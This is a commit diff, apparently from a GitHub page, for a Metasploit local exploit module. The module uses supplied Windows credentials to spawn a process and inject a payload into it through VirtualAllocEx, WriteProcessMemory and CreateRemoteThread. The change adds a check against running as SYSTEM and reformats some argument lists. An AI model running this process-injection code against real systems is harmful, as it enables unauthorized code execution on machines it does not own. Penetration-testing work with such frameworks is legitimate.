8
8
9
9
class Metasploit3 < Msf ::Exploit ::Local
10
10
include Msf ::Post ::Windows ::Runas
11
+ include Msf ::Post ::Windows ::Priv
11
12
12
13
def initialize ( info = { } )
13
14
super ( update_info ( info ,
@@ -49,7 +50,7 @@ def initialize(info = {})
49
50
50
51
def exploit
51
52
fail_with ( Exploit ::Failure ::BadConfig , 'Must be a meterpreter session' ) unless session . type == 'meterpreter'
52
-
53
+ fail_with ( Exploit :: Failure :: NoAccess , 'Cannot use this technique as SYSTEM' ) if is_system?
53
54
domain = datastore [ 'DOMAIN' ]
54
55
user = datastore [ 'USER' ]
55
56
password = datastore [ 'PASSWORD' ]
@@ -83,6 +84,7 @@ def exploit
83
84
84
85
vprint_status ( 'Injecting payload into target process' )
85
86
raw = payload . encoded
87
+
86
88
process_handle = pi [ :process_handle ]
87
89
88
90
virtual_alloc = session . railgun . kernel32 . VirtualAllocEx ( process_handle ,
@@ -95,21 +97,21 @@ def exploit
95
97
fail_with ( Exploit ::Failure ::Unknown , "Unable to allocate memory in target process: #{ virtual_alloc [ 'ErrorMessage' ] } " ) if address == 0
96
98
97
99
write_memory = session . railgun . kernel32 . WriteProcessMemory ( process_handle ,
98
- address ,
99
- raw ,
100
- raw . length ,
101
- 4 )
100
+ address ,
101
+ raw ,
102
+ raw . length ,
103
+ 4 )
102
104
103
105
fail_with ( Exploit ::Failure ::Unknown ,
104
106
"Unable to write memory in target process @ 0x#{ address . to_s ( 16 ) } : #{ write_memory [ 'ErrorMessage' ] } " ) unless write_memory [ 'return' ]
105
107
106
108
create_remote_thread = session . railgun . kernel32 . CreateRemoteThread ( process_handle ,
107
- nil ,
108
- 0 ,
109
- address ,
110
- nil ,
111
- 0 ,
112
- 4 )
109
+ nil ,
110
+ 0 ,
111
+ address ,
112
+ nil ,
113
+ 0 ,
114
+ 4 )
113
115
if create_remote_thread [ 'return' ] == 0
114
116
print_error ( "Unable to create remote thread in target process: #{ create_remote_thread [ 'ErrorMessage' ] } " )
115
117
else
0 commit comments